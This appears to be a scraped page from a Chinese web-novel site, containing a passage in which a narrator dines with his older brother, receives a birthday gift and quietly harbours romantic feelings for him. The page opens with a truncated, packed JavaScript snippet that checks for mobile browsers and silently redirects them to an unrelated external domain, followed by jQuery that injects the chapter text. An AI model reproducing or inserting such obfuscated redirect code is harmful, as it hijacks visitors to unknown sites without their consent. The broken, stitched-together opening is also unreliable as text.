p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640089|172532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里吧。 围着一圈白水晶的吊灯直直打出暖黄色的光,使得桌面都是蜜色的,门口还有木质的柜子,底下摆了几本杂志。墙壁除了一眼望到底的内饰,我像没见过世面的鹌鹑,哪哪都想看,就连摆在门口的茶水都开盖看过。 我最后跑去阳台,几盆矮牵牛缠着灯带挂在栏杆上,一枝又一枝的康乃馨插在中央凹槽处,仿佛它自己长出来一样迷幻。这是一个完美的角度,如果远处山顶出现一颗完整的月亮,那它就在正中心。 餐馆饶有兴致地播放舒缓爵士乐,我哥走到我的旁边,双手握着栏杆,轻声问我:“怎么样,你喜欢这里吗?” “嗯,太漂亮了,楼下还有卖棉花糖的。”我牛头不对马嘴地夸赞着。 他笑了笑,摘下帽子,随手捋一下头发都像是特意做的造型,额眉宽阔,一些没头没尾的好感又从中产生了。 “你为什么带我来这里啊?”我问他。 他回答:“明天要去的地方你不一定喜欢,为了不给你留遗憾,我想怎么说也得来一个你喜欢的地方吧。” 我不挪开视线,光明正大地与他对视:“你知道我喜欢什么地方?” 他微微歪头,眼睛转向一遍,用一种令我无法抗拒的温柔语气假意猜测:“嗯——什么样的呢?安静,空气清新……就我们两个人。”他说最后一句话的时候,我差点萌生出他猜到我爱他的想法。 不过这个想法很快被冷风浸透,因为他真的很坦荡,据我所知,他在爱情面前不会如此从容不迫。 他从没有动情,我却在他面前不着寸缕。 我软绵绵地踩着地板回到位子,服务员敲门进来,依次为我们上菜。我们边吃边聊,我哥大方得体地为我切割牛肉,三分熟的牛排外面有些焦褐,内心却嫣红流着血水。它在我口中化开,我像是在吃自己的心脏。 我哥说他要去买单,我随口哦了一声,眼睛随着挂钟的分针一点点挪动。 五分钟过去,门开了。 我含着最后一口牛排,却先看到一朵巨大的粉色棉花糖,挪开后才是他的半个脑袋。 他走到我面前,弯下腰递上这朵粉云,又不知从哪里变出了一块手表,在我接过棉花糖时为我戴上。 金属贴在我的皮肤上发着一阵凉意,顺着经脉直流我的心脏,我震了一下身子。 “提前祝我们家小景生日快乐。”他笑盈盈地说。 我望着棉花糖,脑子里全都是棉花糖和手表。 “怎么?不喜欢吗?”我哥见我迟迟没有反应,担忧地蹲下,想直接看我的表情。 我回过神来,赶紧回答他:“喜欢。” 他这才松了一口气。 我哥无疑是一位完美的情人。了解对方的喜好,会注意各种细节。我都能想象到他在恋爱时是什么样子的了。 应该会更加热情,说不定在餐桌上就开始接吻,锁了门说你要什么我都给你,接着一路来到酒店。 我时常幻想,如果我们不是兄弟,我是否可以更直白地追他,而不是像现在一样藏匿自己的感情,直到昏天黑地也无法抓住他的心。 餐馆的歌声进入最后部分,我用我那匮乏的粤语能力听懂了最后一句歌词。 “我爱你春风不度,我爱你时间永恒。” “什么?”我哥正要坐下,听到我的哼唱。 我摇头回答:“我觉得你唱这首歌肯定更好听。” 那时候的我无限期待明天的私奔,又怎么会想到生日当天,所有人都到场,唯独他没有出现。